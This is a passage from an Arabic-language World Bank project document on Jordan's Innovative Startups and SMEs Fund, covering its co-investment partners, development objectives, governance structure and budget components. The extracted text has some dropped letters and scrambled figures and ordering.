تمويل رأس مال المرحلة المبكرة. ويظهر ذلك على وجه الخصوص في قطاعات أخرى غير قطاع تكنولوجيا المعلومات واالتصاالت. تسعى أويسس 500( Oasis500 )إلى توفير تمويل لصندوق جديد بقيمة 20 مليون دوالر، يضخ استثمارات بقيمة تصل إلى 300 ألف دوالر للصفقة الواحدة مع التركيز على الشركات التي تعمل في المجال . تجري مناقشة بين صندوق سيليكون البادية ومؤسسة إنديفور األردن والوكالة األمريكية للتنمية الدولية 17 اإلبداعي لوضع برنامج بقيمة 10 مليون دوالر للمساعدة في دعم الجيل التالي من مدراء األصول عن طريق التدريب واالستثمار في منتجاتهم، كما يسعون لتصميم صندوق لالشتمال المالي برأس مال يصل إلى 50 مليون دوالر لتغطية مشروعات وشركات منطقة الشرق األوسط وشمال أفريقيا. يقدر متوسط رأس مال صندوق مبادرة الوكالة األمريكية لالستثمار في منطقة الشرق األوسط وشمال أفريقيا بمبلغ 5 مليون دوالر، ومن خالل رأس المال اإلضافي، سوف يتمكن الصندوق من زيادة أثره في مرحلة التأسيس. تسعى جميع هذه الصناديق المحتملة لزيادة رأس المال اإلضافي لتتمكن من العمل. 19-يتضمن الجدول رقم 4 تقديراً لالستثمارات المحتملة التي يمكن أن يمولها المشروع المقترح فور تفعيله خالل السنة األولى. تعرف المملكة المتحدة الصناعات اإلبداعية بأنها "تلك األنشطة الناشئة عن إبداعات ومهارات ومواهب فردية والقادرة على خلق ثروة عن طريق 17 الملكية الفكرية" )المجلس البريطاني(. ومن أمثلة هذه الصناعات، التصميم والعمارة واإلعالم والتصوير والموسيقى، وغيرها. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 14 جدول رقم 4 – الصناديق التي تسعى حالياً لزيادة رأس المال اإلضافي في األردن )المشروعات المحتمل تمويلها من صندوق الشركات تاناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية*( حجم الصندوق اسم الصندوق )بالمليون دوالر( المبلغ المقترح الذي يمكن أن يوفره المشروع على الفور )بالمليون دوالر( صندوق أويسس 500 لتأسيس المشروعات 20 5( يمكن توفير 4 ماليين أخرى بعد الجولة األولى إذا زاد المبلغ بشكل كافي للوصول إلى مبلغ 20 مليون دوالر( صندوق االشتمال المالي سيليكون البادية/ إنديفور 50 5( لالستثمارات األردنية( صندوق االشتمال المالي 10 5 اإلجمالي 15 * هذه هي قائمة المشروعات المتوقعة والتي سوف تحصل على التمويل فقط بعد مراجعتها بمعرفة صندوق المشروع ووافقت عليها لجنة االستثمار ج- األهداف رفيعة المستوى التي يساهم المشروع في تحقيقها 20 -يتماشى المشروع ال ُمقترح مع إطار الشراكة القطري األردني السنوات المالية 17-22( تقرير رقم. 102746 )الذي ناقشه مجلس المدراء التنفيذيين بتاريخ 15 يونيه/ حزيران 2015 .تهدف الركيزة األولى إلطار الشراكة القطرية المتمثلة في "تهيئة الظروف لنمو أقوى للقطاع الخاص وتوفير فرص عمل أفضل للجميع" إلى تحفيز الدور الذي يلعبه القطاع الخاص ا ل وفر من خالله غالبية فرص العمل الرسمية في القطاع الخاص. ً بصفته محرك عملية النمو الذي يختلف عن النموذج الذي تُ فعلى وجه الخصوص، يتصل هذا المشروع بالهدف االستراتيجي رقم 1-3" تحسين الوصول إلى التمويل وتنمية المهارات" الذي يهدف إلى تحسين قدرة البنوك ومؤسسات التمويل متناهي الصغر وذلك بهدف توفير التمويل للمشروعات متناهية الصغر والصغيرة والمتوسطة وعرض منتجات جديدة في األسواق غير الحاصلة على دعم كاف وتوجيه التركيز على رواد األعمال ورائدات األعمال من الشباب. فضالً عن ذلك، يتناسب المشروع ال ُمقترح مع خطة التنمية التنفيذية الحكومية لعام 2016- 2018 وكذلك مع استراتيجية االشتمال المالي للشراكات والنظرة المستقبلية لعام 2030 التي تنص على أن "مجموعة البنك الدولي ستحتاج لالستفادة من جميع ما لديها من إمكانات من أجل إقامة أسواق وتوسيعها في األماكن التي يكون رأس المال الخاص أقل من رأس المال ال ُمتوقع." 21 -يتناسب المشروع ال ُمقترح تناسباً واضحاً مع ركائز تجديد العقود االجتماعية والتعاون اإلقليمي في منطقة الشرق األوسط وشمال إفريقيا. حيث يسهم هذا المشروع في تسهيل عملية نمو ريادة األعمال واالشتمال في الشركات الناشئة غير الحاصلة على دعم كاف وذلك عن طريق االستفادة من مستثمري القطاع الخاص من خالل الترتيبات المنفذة بين القطاعين العام والخاص بهدف سد فجوة التمويل التي يعجز السوق الخاص وحده على التغلب عليها. فبهذه الطريقة، يسهم المشروع في تجديد العقود االجتماعية عن طريق االستفادة من التعاون بين القطاعين الخاص والعام في خلق فرص عمل جديدة في القطاع الخاص والمساهمة في تغيير الثقافة الخاصة بالمخاطر وتعزيز التعلم من األخطاء السابقة. عالوًة على ذلك، يقوي المشروع ال ُمقترح من الروابط بين التعاون اإلقليمي حيث تهدف ريادة األعمال وصناديق االستثمار إلى خلق أسواق وشراكات تتعدى الحدود المحلية، وبخاصة السكان القانونيين من البلدان المجاورة مثل سوريا والعراق الذين يمكنهم توسيع حدود أعمالهم التجارية تصل إلى أوطانهم حينما يستقر وضعها. فضالً تلعب هذه المهارات والتصرفات دور األردنية حتى عن ذلك، ا بالغ األهمية في ً بناء مرونة أكبر لجميع أنواع الصدمات االقتصادية واالجتماعية التي قد تطرأ. د- العالقة بمشروعات البنك الدولي األخرى 22 -شرعت مجموعة البنك الدولي في تنفيذ برنامج ُموسع وشامل من أجل دعم المشروعات متناهية الصغر والصغيرة والمتوسطة وخلق فرص عمل في األردن بما في ذلك سياسة البنك الدولي للتعمير والتنمية وإقراض المستثمرين والخدمات االستشارية والمساعدة الفنية التي يكفلها مرفق المساعدة الفنية للمشروعات متناهية الصغر والصغيرة والمتوسطة اإلقليمية بمنطقة الشرق األوسط وشمال إفريقيا التابعة للبنك الدولي ومؤسسة التمويل الدولية وكذلك المجموعة االستشارية )الملحق 6 .)تتشارك جميع هذه المشروعات في تعزيز األنشطة التي ستضمن ترك آثاراً أفضل على 18 لمساعدة الفقراء أرض الواقع. عالوًة على ذلك، ُصمم برنامج البنك الدولي العام باالشتراك مع الحكومة األردنية والقطاع الخاص في ظل قيام البنك المركزي األردني بدور الجهة ال ُمنسقة. ويتضمن هذا المشروع تنمية إحدى مؤسسات االئتمان واإلقراض الخاصة بالمؤسسات الصغيرة والمتوسطة وذلك من خالل البنوك التجارية التي تستمر في تلقي الدعم من صناديق التنمية اإلقليمية. كذلك يتضمن برنامج إصالح القطاع االقتصادي إصالحات تنظيمية تختص بالتمويل متناهي الصغر واإلقراض القائم على المجموعة االستشارية لمساعدة الفقراء 18 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 15 األصول وإصالح صندوق الضمان من أجل دعم التمويل ال ُموجه للمؤسسات الصغيرة والمتوسطة وإنشاء أحدث مكاتب االستعالم االئتماني الخاص في منطقة الشرق األوسط وشمال إفريقيا وتوفير مساعدة فنية ُموسعة وتمويل للبنوك ومؤسسات التمويل متناهي الصغر من أجل تمويل المؤسسات متناهية الصغر والصغيرة والمتوسطة. باإلضافة لذلك، يلعب مشروع الدعم ا أساسي ً المالي الذي ينفذه البنك الدولي دور ا في ريادة األعمال وبناء قدرات المؤسسات الصغيرة والمتوسطة. حيث سيسهل ً المشروع ال ُمقترح توفير التمويل والدعم للشركات الناشئة التي ال تتلقى دعم ا حالي ً كافياً ا وذلك في سبيل إكمال مجموعة الحلول ً التي يمكن للبنك الدولي تقديمها للمؤسسات متناهية الصغر والصغيرة والمتوسطة. كذلك ُيمكن لهذا المشروع أن يتلقى دع ًما إضافًيا من قبل أنشطة إحدى المبادرات اإلقليمية بهدف تعزيز االشتمال المالي ال ُمقرر تنفيذها بالمشاركة بين البنك الدولي وصندوق النقد العربي من خالل مشروع ُمقترح يقدمه صندوق النقل في منطقة الشرق األوسط وشمال إفريقيا. عالوًة على ذلك، يمكن أن يوفر هذا المشروع وسيلة لشرح الفوائد العملية التي يمكن أن تعود على األردن من تفعيل المعايير الهيكلية التي وضعها مرفق النقد ال ُموسع التابع لصندوق النقد الدولي. حيث تتصل هذه اإلرشادات الهيكلية باإلعسار والمعامالت ال ُمضمونة التي من شأنها أن تحسن فور تنفيذها، البيئة ال ُممكنة من الحصول على الدعم من خالل المخارج التجارية واستخدام باألصول القابلة للنقل كضمانات للمؤسسات متناهية الصغر والصغيرة والمتوسطة. 23 -تضطلع إدارة الممارسة العالمية المعنية بالتجارة والقدرة التنافسية بعدد كبير من األنشطة في األردن وذلك كجزء من البرنامج القائم على النتائج المعني بتوفير الفرص االقتصادية لألردنيين والسوريين الذي اعتمده مجلس المدراء التنفيذيين لمجموعة البنك الدولي بتاريخ 27 سبتمبر/ أيلول 2016 .يهدف هذا البرنامج إلى )أ( تطوير فرص ريادة األعمال األردنية والسورية ومتابعة تنفيذ اجتماعات األعمال التجارية وأنشطة شبكات ريادة األعمال وقياس مدى تأثير هذه األنشطة مع مرور الزمن؛ )ب( بناء روابط بين األعمال التجارية األردنية والمستثمرين األجانب في المناطق الحرة وذلك من خالل تسهيل مبادرات التشبيك بين الموردين ال ُمحتملين وكبار المستثمرين األجانب؛ )ج( إصالح عملية تسجيل األعمال التجارية في عالوًة لتطوير النظام االقتصادي الكامل لريادة األعمال في األردن األردن. على ذلك، سيدعم المشروع ال ُمقترح العملية الشاملة بهدف تقديم الدعم للمقيمين القانونين من أجل إقامة أعمال تجارية في األردن والمساهمة في إنماءها. كذلك سيمكن المشروع ال ُمقترح المستفيدين من برامج التجارة والقدرة التنافسية وذلك حتى يستفيدوا من أنشطة التوعية والجاهزية لالستثمار وآليات بتت قدرتها التنافسية بنا ًء على ُ معجالت األعمال وتمويلها. فضالً عن ذلك، سيقدم المشروع ال ُمقترح دعماً لقطاعات ُمعينة ث تحليالت برنامج التجارة والقدرة التنافسية القائم على النتائج )على سيل المثال، األعمال التجارية الزراعية والمالبس( وسيعمل على تقديم الدعم ال ُمكثف من خالل معجالت األعمال وخدمات المساعدة الفنية للشركات. وسيتعاون فريق المشروع مع فرق التجارة والقدرة التنافسية خالل مرحلة التنفيذ من أجل الموائمة بين األنشطة. مؤسسة التمويل الدولية 24 -تم تصميم البرنامج على يد فريق مكون من موظفي البنك الدولي العاملين بإدارة التمويل واألسواق والممارسات العالمية للتجارة والقدرة التنافسية والموظفين العاملين بوحدة رأس المال المخاطر التابعة لمؤسسة التمويل الدولية. من ناحية أخرى، ال يشكل المشروع أي مخاطرة على إقصاء مؤسسة التمويل الدولية بل إنه يستكمل عملياتها الخاصة باستثمارات رأس المال في المرحلة المبكرة من األعمال. ومن الجدير بالمالحظة، أن برنامج تحفيز الشركات الناشئة الذي تنفذه مؤسسة التمويل ُ الدولية، وهو برنامج عالمي أطلق مؤخرا وصمم لالستثمار في صناديق التأسيس التجاري ومعجالت وحاصنات األعمال، يضم ً هيكل يجمع بين أحد معجالت األعمال وصندوق رأس المال المخاطر الكائن مقره في القاهرة وذلك باعتبارهما أولى الجهات التي تم االستثمار فيها. ومن البرامج المجدية األخرى، البرنامج األوسع لالستثمار في رأس المال المخاطر الذي أطلقته مؤسسة متضمنا االستثمارات التي يضخها في صناديق رأس المال المخاطر اإلقليمية )على سبيل المثال، صندوق ً التمويل الدولية، ومضة( باإلضافة إلى فرص االستثمار في رأس المال المباشر في الشركات الناشئة في جميع أنحاء منطقة الشرق األوسط وشمال إفريقيا )مثال ذلك، موقع سوق دوت كوم(. من ناحية أخرى، ال تستبعد مؤسسة التمويل الدولية االستثمار في صناديق التأسيس أو رأس المال المخاطر في مراحله األولى ذات العالقة بالمشروع ال ُمقترح حالما تثبت هذه الصناديق مالءمة أدائها للمعايير العالمية. وبنا ًء على ذلك، يعمل المشرع ال ُمقترح كجسر يربط بين مرحلتي افتتاح الشركات الناشئة وأولى مراحل نموها والنظام االقتصادي الشامل لمعجالت األعمال وذلك حتى يتلقى الدعم من مؤسسة التمويل الدولية. وعليه، يساعد هذا المشروع في بناء خط استثمار مستقبلي لمؤسسة التمويل الدولية. وستتعاون المؤسسة مع البنك الدولي الستغالل ما لديهما من أدوات وخبرات في سبيل المساعدة في بناء أنظمة اقتصادية ُمبتكرة مستدامة وإتمام بناءها في منطقة الشرق األوسط وشمال ا في أنحاء أخرى من العالم. ً إفريقيا وذلك عن طريق توصيلها باألنظمة االقتصادية األكثر تطور ثانياً. األهداف اإلنمائية للمشروع أ. األهداف اإلنمائية للمشروع 25 -يتمثل الهدف اإلنمائي للمشروع في زيادة تمويل رأس المال الخاص في المراحل المبكرة ألعمال المؤسسات االبتكارية البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 16 الصغيرة والمتوسطة. 26 -إبتكارية: ُيقصد بمصطلح "إبتكارية" في هذا الصدد ذلك المصطلح الوارد في تعريف دليل أوسلو، النسخة الثالثة، لعام الذي ينص على أنه مصطلح ُمبتكر يُقصد به منتجات وسلع وخدمات جديدة و ُمحسنة وعمليات و/أو نماذج أعمال 19 2005 تجارية جديدة و ُمحسنة. 27ُ -يقصد بالمؤسسات الصغيرة والمتوسطة الشركات ال ُمبتكرة وال ُمؤسسة بصورة رسمية )حديثة اإلنشاء أو الناشئة بالفعل( التي لم يتجاوز عمرها 5 سنوات. ب. الجهات المستفيدة من المشروع 28 -الجهات المستفيدة من المشروع. المستفيدون الرئيسيون من االستثمار في رأس المالي هم المؤسسات الصغيرة والمتوسطة ال ُمتوقع نموها نمو ا سريع ً ا بينما سيكون المستفيدون من أنشطة دعم تدفق الصفقات هم رواد األعمال الذي يتطلعون إلى إنشاء ً أعمال تجارية أو إعداد شركاتهم الناشئة لالستثمار. من ناحية أخرى، سيكون المستفيدون غير المباشرين هم عمالء رأس المال المخاطر الخاص الذين سيستغلون رأس المال من خالل إقامة الشراكات االستثمارية. وفي نفس الوقت، سيتمثل مستفيدون آخرون في كيانات البنية التحتية األساسية الخاصة بالنظام البيئي الشامل لالستثمار واالبتكار الذي يوفر الدعم والتمويل لرواد األعمال مثل صناديق رأس المال المخاطر وصناديق االستثمار ال ُممول وحاضنات ومعجالت األعمال وبرامج التوجيه وتنمية األعمال التجارية وخدمات الجاهزية لالستثمار. ج. الهدف اإلنمائي للمشروع - المؤشرات على مستوى النتائج 29 -سيتم قياس الهدف اإلنمائي للمشروع من خالل مؤشرات النتائج التالية: أ. رأس المال الخاص المعبأ خالل المشروع )بالدوالر األمريكي( ب. الشركات ال ُمستفيدة الحاصلة على التمويل من المشروع )عدد الشركات( ج. الشركات ال ُمستفيدة التي قدمت منتجات أو عمليات جديدة )عدد الشركات( 30 -من المتوقع أن يساهم هذا المشروع في توفير عدد كبير من الوظائف غير المباشرة بسبب اآلثار العرضية التي لحقت بسلسلة التوريد والقيمة؛ وبالرغم من ذلك، يتجاوز هذا الهدف نطاق المتابعة الخاص بالمشروع. حيث سيتم توفير وظائف مباشرة لكن لن ُيتوقع أن تترك هذه الوظائف ال ُموفرة آثارا اقتصادية هامة؛ وذلك ألن عدد الوظائف ال ُموفرة لن يمثل معياراً ً ا، ومع ذلك، سيتعقب المشروع عدد الوظائف الجديدة حسب النوع االجتماعي والفئة العمرية التي يوفرها المستفيدين من ً أساسي (. عالوًة المشروع مباشرة من خالل تقييم آثار توفير فرص العمل للنساء والشباب )الفئة العرية 18-35 سنة على ذلك، سيكتشف هذا المشروع إطار الممارسات المثلى الخاصة بكيفية قياس توفير فرص العمل غير المباشرة من خالل هذه العملية ومتابعة هذه النتائج إلى اقصى الحدود ال ُممكنة. من ناحية أخرى، ال تتضمن الصناعات ال ُمستهدفة التي يدعمها المشروع القطاعات التي ُيسمح فيها لالجئين السوريين بالعمل )الصناعة والزراعة(، إال أنه من الممكن أن يجذب هذا المشروع رواد أعمال و/أو مستثمرين من جموع الالجئين السوريين القانونين ومن ثم يتعقب المشروع هذا بصفته جز ًءا من إطار المتابعة 19 ا لدليل أوسلو )الطبعة الثالثة، تصنف األنواع المختلفة لالبتكارات وفقاً لما يلي: ً وفق 2005ً ،) أ. ابتكار المنتجات: تقديم سلع أو خدمات جديدة ومحسنة من ناحية خصائصها واستخداماتها المُقصودة. وهذا يتضمن إجراء تحسينات بالغة صائصها الوظيفية األخرى. فضالً في مواصفاتها الفنية وبرامجها الحاسوبية المُدمجة وسهولة استخدام المُستخدمين لها وخ عن ذلك، يمكن بابتكار المنتجات االنتفاع بالمعرفة التكنولوجية الحديثة أو االستناد على استخدامات جديدة أو مجموعات جديدة من المعارف أو التكنولوجيا. تطور لإلنتاج والتوصيل. وهذا يتضمن إجراء تغييرات جذرية في التقنيات والمعدات ب. ابتكار العمليات: ُيقصد به تفعيل أساليب جديدة وبالغة الُ و/أو البرامج الحاسوبية. عالوًة على ذلك، يمكن أن ُيستخدم ابتكار العمليات في خفض تكاليف الوحدات أو توصيلها ورفع الجودة أو إنتاج منتجات جديدة أو بالغة التحسن وتوصيلها. ج. االبتكار التسويقي: يُقصد به تفعيل أساليب تسويقية جديدة تتضمن إجراء تغييرات جذرية في تصميم المنتجات وتغليفها وتحديد المنتجات وترقية المنتجات أو تسعيرها. تهدف االبتكارات التسويقية إلى تحسين تلبية احتياجات الزبائن وافتتاح أسواق جديدة أو إدخال منتجات جديدة لشركة ما إلى األسواق بهدف زيادة حجم مبيعات الشركة. د. االبتكار التنظيمي: يُقصد به تفعيل مناهج تنظيمية جديدة في الممارسات التجارية للشركة أو مكان العمل أو المنظمة أو العالقات الخارجية. فضالً عن ذلك، يمكن استخدام االبتكارات التنظيمية في النهوض بأداء الشركة عن طريق خفض التكاليف اإلدارية وتكاليف المعامالت وتحسين الرضاء عن مكان العمل )مما يرفع من إنتاجية العمال( والحصول على األصول غير التجارية )مثل المعرفة الخارجية المُقننة( أو خفض تكاليف التوريدات. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 17 والتقييم األشمل. ثالثاً. وصف المشروع 31 -يستمر هذا المشروع لمدة 6 أعوام ويتضمن إقامة شركة تمويل تتم إدارتها بواسطة القطاع الخاص ُتدعى )صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية( وهي المنشأة المسئولة عن إجراء استثمارات في الشركات عالوًة الناشئة والمؤسسات الصغيرة والمتوسطة في مراحلها المبكرة وبالتالي تحقق االستفادة من أموال القطاع الخاص. على ذلك، سيدعم هذا الصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية النظام البيئي الشامل لريادة األعمال وذلك بهدف إيجاد تدفق جيد في الشركات الناشئة. من ناحية أخرى، ستكون الشركة االردنية لضمان القروض هي يكون مسئوالً أنشطة الصندوق ورفع المسئولة عن اإلنشاء القانوني للصندوق وتعيين مدير من القطاع الخاص عن إدارة تقارير للشركة االردنية لضمان القروض، وهي شركة خاصة واقعة تحت إشراف مراقب الشركات ال ُمسئول عن اإلشراف على جميع الشركات الخاصة. فضالً عن ذلك، سيتم تقديم مساهمة في رأس مال الصندوق من خالل قرض البنك الدولي وهناك 20 مبلغ إضافي يقدمه البنك المركزي األردني في صورة تمويل مشترك . 32 -أوضح دليل من إحدى المشروعات التي نفذها البنك الدولي في لبنان والنماذج المماثلة األخرى في اسكتلندا والمملكة ال ُمتحدة إمكانية جذب مستثمري القطاع الخاص من أجل تقديم رأس مال للشركات في المراحل المبكرة من أعمالها وذلك إذا كان بإمكانهم مشاركة المخاطرة وزيادة حجم حافظات أوراقها المالية. وتتضمن الحوافز التي تحث مستثمري القطاع الخاص، عند وضع استثماراتهم في الشركات الناشئة، مواصلة تمويلهم لهذه الشركات على مر مراحل نموها وإقامة نظام بيئي شامل فعال وقوي من شأنه أن يساعد في إقامة شركات ناشئة عالية الجودة. 33 -يهدف صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية من خالل تمويله للشركات الناشئة إلى تكوين كتلة حرجة من رؤوس المال المخاطر الناجحة من أجل إحداث تأثير عملي. ومن المتوقع أن تشجع هذه التأثيرات العملية للتمويل الناجح الذي سيقدمه الصندوق المزيد من مستثمري القطاع الخاص على التفكير في تقديم استثماراتهم في هذا المجال. بجانب أن دعم النظام البيئي الشامل من أجل تحسين جودة الشركات الناشئة و فالتمويل وحده لن يكون كافيا زيادة عددها من ً فق الصفقات يمثل عامالً ضروريا المال المخاطر ً أجل تد لمواجهة مشكلة فشل التنسيق )الموقف الذي تعجز فيه صناعة رأس عن التطور بسبب عدم توافر الخدمات األساسية والدعم الالزم إلقامة مؤسسات صغيرة ومتوسطة يمكن االستثمار فيها(. وقد تم اختبار هذا النموذج في عدة دول من بينها صندوق رأس مال تأسيس الشركات الناشئة السنغافوري وصندوق المشروعات األسكتلندي وصندوق المملكة المتحدة لالستثمارات الممولة المساعدة. وقد أسهمت الدروس المستفادة من هذه الصناديق بجانب تلك ال ُمكتسبة من العمليات المماثلة التي أجراها البنك الدولي في دول أخرى مثل )أرمينيا والهند والمكسيك ولبنان( في سد الفجوة التي يعاني منها النظام البيئي الشامل بغرض النهوض بالمشروعات االبتكارية القابلة للتطبيق ودعمها مما أثبت أهمية هذه الدروس في نجاح صندوق االستثمار. شكل رقم 4 صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية يلتزم البنك المركزي األردني بتقديم 48 مليون دوالر أمريكي للشركة االردنية لضمان القروض طوال عمر الشركة، وهذا المبلغ يعادل استثمار 20 قيمته 88.13 مليون دوالر أمريكي طوال عمر المشروع الذي ينفذه البنك الدولي )ستة أعوام(. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 18 الحوكمة ودور الجهات المعنية الرئيسية بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية 34 -ستمتلك الشركة األردنية لضمان القروض األسهم ال ُمملوكة لصندوق الشركات الناشئة والمشروعات الصغيرة والمتوسطة ال ُمبتكرة بالنيابة عن الحكومة وعندما يتم تصفية الصندوق، سوف تسترد الحكومة العائدات. وستضطلع لجنة متابعة رفيعة المستوى ُمكونة من ممثلين من وزارة التخطيط والتعان الدولي والبنك المركزي األردني ووزارة المالية ووزارة الصناعة التجارة بالدور الرقابي على المشروع. بينما سترفع الشركة األردنية لضمان القروض تقارير سنوية للجنة المتابعة ال ُمذكورة. لكن ال تشترك الحكومة واللجنة في عمليات الصندوق أو إدارته. 35 -من ناحية أخرى، ستكون الشركة األردنية لضمان القروض هي المسئولة عن تكوين مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية. حيث سيتكون مجلس اإلدارة من 7 أعضاء مؤهلين فقط ا للمعايير ال ُمنصوص ً يتمتعون بنفس حقوق التصويت. وسيضم هذا المجلس أعضاء من القطاع الخاص وسيتم اختيارهم وفق عليها في دليل عمليات المشروع شريطة عدم ممانعة البنك الدولي. وعمال بقانون الشركات، سيكون مجلس اإلدارة مسئوالً عن إبداء الرأي في االستثمارات التي تقدمها إليه لجنة االستثمار التابعة لصندوق الشركات. لكن ال يحق له إبداء رأيه في فضالً سند مجلس اإلدارة إلى لجنة االستثمار مسئولية اختيار االستثمارات التي ال توصي بها لجنة االستثمار. عن ذلك، سُي االستثمار/اختيار استراتيجية االستثمار بينما ستُسند مهام إقالة لجنة االستثمار وإدارة أنشطة المشروع وصناعة القرارات الذي يكون مسئوالً العملية إلى مدير الصندوق أيض ا عن تقديم تقارير لمجلس اإلدارة. عالوًة على ذلك، سيظل مجلس اإلدارة ً ا للقانون األردني والمعايير ال ُمنصوص عليها في دليل عمليات ً يشرف على سالمة التنفيذ وإدارة الشركة ورفع التقارير وفق ا في الصندوق باستثناء توفير رأس ً المشروع. ولن يكون البنك المركزي األردني عضًوا في مجلس اإلدارة ولن يكون له دور ا موصي )أي ال يتمتع بحق الرفض، ولديه أسهم ال تخول له التصويت(. المال وسيكون شريك 36 -سيكون مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية مسئوال عن تعيين فريق العمل في الصندوق مع وضع استراتيجية العمليات واالستثمار، ومتابعة مؤشرات المشروع وإعداد التقارير ذات الصلة، إلى جانب اإلدارة المالية والمشتريات والضمانات الوقائية وفقاً للمعايير الواردة في دليل عمليات المشروع. وسيتم تقييم أداء مدير الصندوق واختياره بنا ًء على المعايير التي يحددها البنك الدولي في دليل عمليات المشروع. وينبغي أن يكون العاملون في الصندوق من خبراء القطاع الخاص. 37 -سوف يقدم مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية مقترح لمجلس اإلدارة للموافقة على أعضاء لجنة االستثمار المستقلة وفقاً للمعايير المدرجة في دليل عمليات المشروع وعدم ممانعة البنك الدولي. سوف ينضم مدير الصندوق إلى عضوية لجنة االستثمار. وسوف يختار مجلس اإلدارة أحد أعضائه لرئاسة اللجنة باستثناء ممثل الشركة األردنية لضمان القروض الذي ال يمكنه رئاسة اللجنة أو المشاركة في عضويتها. ولن تلعب الشركة أي دور في تنفيذ األنشطة أو اختيار االستثمارات، وسوف تفرض اللجنة جزاءات على االستثمارات وعمليات التخارج التي يقترحها فريق االستثمار التابع للصندوق والمفوض من مجلس اإلدارة. ويتضمن الملحق رقم 2 تفاصيل إضافية حول دور كل جهة من الجهات المعنية. صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية خلق تدفق للصفقات دعم معجالت األعمال وشبكات االستثمار التي ترعى األعمال والهيئات وما إلى ذلك من أجل القيام بأنشطة دعم ريادة األعمال التمويل المختلط من رأس المال والدين في المؤسسات الصغيرة والمتوسطة مع صناديق رأس المال المخاطر وصناديق االستثمار الذي يراعي األعمال ومنصات االستثمار وشركات االستثمار وما إلى ذلك البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 19 الشكل رقم 5 – الهيكل التنظيمي لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية أ- مكونات المشروع 38 -يتم توزيع أموال المشروع في ثالثة مجاالت: )أ( تمويل الشركات الناشئة اإلبتكارية والمؤسسات الصغيرة والمتوسطة بما في ذلك الحوافز المقدمة للمستثمرين الشركاء من خالل دعم االستثمار، و)ب( دعم مقدمي خدمات النظام البيئي الشامل للمساعدة في خلق تدفق الصفقات، و)ج( إدارة المشروع. يوضح الجدول رقم 5 طريقة توزيع رأس مال الصندوق كامال . ومع ذلك، ينبغي 21 على السنوات الستة بالجمع بين أموال المشروع والمساهمة المالية المقدمة من البنك المركزي األردني اإلشارة إلى مرونة المخصصات التي تسمح باستيعاب التغيرات في تكاليف السوق والطلب عليه. وقد يقترح مدير الصندوق إجراء تغييرات في الموازنة حسب االحتياجات المالئمة. وفي حالة عدم استخدام مبلغ ما مخصص ألحد األنشطة بالكامل، يجوز إعادة تخصيص المبلغ المتبقي لنشاط أخر. جدول رقم 5 .أنشطة ونفقات الصندوق خالل فترة تنفيذ مشروع البنك الدولي )6 سنوات( النشاط/ المكون )بالمليون دوالر( 1 .تمويل المؤسسات الصغيرة والمتوسطة شامل دعم االستثمار 53.5 2 .خلق تدفق الصفقات 25.6 3 .إدارة المشروع وتنسيقه ومتابعته وتقييمه 4 *63.75 اإلجمالي * يشمل هذا المبلغ قرض البنك الدولي والتمويل المقدم من البنك المركزي األردني، وال يشمل رأس المال الكلي المتاح لدى الصندوق المكون األول: برنامج التمويل المختلط من رأس المال والدين )قيمة قرض البنك 75.44 مليون دوالر/ إجمالي موزانة الصندوق 5.53 مليون دوالر( 39 -في إطار هذا النشاط، سوف يستثمر صندوق الشركات الناشئة اإلبتكارية والمؤسسات الصغيرة والمتوسطة مبلغ 50 مليون دوالر في ما يقرب من 200 شركة باإلضافة إلى مبلغ 5.3 مليون دوالر تقدم للمستثمرين الشركاء كدعم لالستثمار. هذه لمعدل الطلب في السوق. وسوف تتم األرقام عبارة عن قيم تقديرية ويمكن أن تتغير وفقا موازنة االستثمارات في الشركات ً الناشئة بين المراحل الثالثة للمشروعات المحفوفة بالمخاطر المرتفعة وتصنف كاآلتي: مرحلة التأسيس )قيمة الحصة االستثمارية أقل من 280 ألف دوالر أمريكي( وفي المراحل المبكرة )قيمة الحصة االستثمارية بين 280 ألف و750 ألف دوالر أمريكي( وفي رأس المال المخاطر )قيمة الحصة االستثمارية من 750 ألف حتى 3 ماليين دوالر أمريكي(. يمكن أن سوف تقسم مساهمة البنك المركزي األردني على فترة استمرار الصندوق، أي 12 شهر. وسوف يتم صرف مبلغ 88.13 مليون دوالر خالل فترة 21 تنفيذ مشروع البنك الدولي. مجلس اإلدارة )7) لجنة االستثمار )5) المدقق الداخلي رئيس مجلس اإلدارة )مدير الصندوق( فريق االستثمار محاسب أول × 1 أو 2 مساعد × 2 محاسب أول × 1 كبير الموظفين الماليين محاسب أول × 1 االمتثال إداري × 1 التسويق وتدفق الصفقات )1 ) البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 20 تأتي االستثمارات في المؤسسات الصغيرة والمتوسطة في صورة أدوات التمويل المختلط من رأس المال والدين مثل السندات ونماذج أخرى من الدين الخاضع لشروط ميسرة والتي يعتبرها المستثمرون الشركاء والوسطاء ضرورية 22 القابلة للتحويل لنجاح الشركة. يتضمن الملحق رقم 2 تفاصيل عن استراتيجية االستثمار وأدوات التمويل المختلط من رأس المال والدين. 40 -سوف تتاح فرص االستثمار في جميع القطاعات )القطاع الالداري(. ومع ذلك، من المتوقع أن تركز االستثمارات في المقام األول على قطاعات التكنولوجيا واإلعالم واإلتصاالت والخدمات، وتتوجه بعض االستثمارات إلى قطاع األعمال الزراعية التجارية والمستحضرات الدوائية والمياه والطاقة النظيفة. ولن يتم االستثمار في قطاع العقارات واإلنشاءات والصناعات الثقيلة. 41 -سوف تستخدم استراتيجية االستثمار التي وضعها صندوق الشركات الناشئة اإلبتكارية والمؤسسات 